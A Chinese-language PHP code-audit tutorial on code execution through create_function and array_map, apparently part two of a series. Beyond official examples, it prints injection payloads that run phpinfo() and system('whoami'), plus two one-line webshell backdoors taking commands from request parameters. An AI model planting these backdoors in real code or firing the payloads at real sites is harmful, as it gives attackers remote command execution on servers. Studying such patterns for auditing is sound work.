PHP代码审计之代码执行(二)
create_function
create_function(PHP 4> = 4.0.1,PHP 5,PHP 7)
create_function — 创建一个匿名(lambda样式)函数
说明:
create_function (字符串 $args ,字符串 $code ):字符串根据传递的参数创建一个匿名函数,并为其返回唯一的名称。
警告:
此函数在内部执行eval(),因此具有与eval()相同的安全性问题。此外,它还具有不良的性能和内存使用特性。如果您使用的是PHP 5.3.0或更高版本,则应使用本机匿名函数。
官方示例:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
create_function()创建的匿名函数,还原上面的代码:
<?php
function lambda($a,$b){
return("ln($a)+ln($b)=".log($a*$b));
}
echo lambda(2,M_E);
?>
代码执行示例:
<?php
$b=$_REQUEST['c'];
$newfunc = create_function('$a,$b', 'return (strlen($a)*strlen($b));');
?>
payload:?c=aaa));}phpinfo();/*
一句话后门:
参考:https://blog.csdn.net/qq_17204441/article/details/89880172
<?php $s=create_function('',$_REQUEST['mm']);$s();?>
payload:?mm=system(whoami);
array_map
array_map()为数组的每个元素应用回调函数
array_map ( callable $callback , array $array1 [, array $... ] ) : array
array_map():简单说利用回调函数处理传入的数组,返回数组。
示例:
<?php
$old_array = array(1, 2, 3, 4, 5);
function func($arg){
return $arg + $arg;
}
$new_array = array_map('func',$old_array);
var_dump($new_array);
?>
执行结果:
array (size=5)
0 => int 2
1 => int 4
2 => int 6
3 => int 8
4 => int 10
利用方法:
<?php
$func = 'system';
$cmd = 'whoami';
$old_array[0] = $cmd;
$new_array = array_map($func,$old_array);
var_dump($new_array);
?>
执行结果:一句话后门:
<?php @array_map($_REQUEST['a'],(array)($_REQUEST['b'])); ?>
原理分析:a参数直接传入一个assert函数,b参数传入assert(eval(‘执行代码’))。
payload:
?a=assert&b=phpinfo();
?a=assert&b=system(%27whoami%27);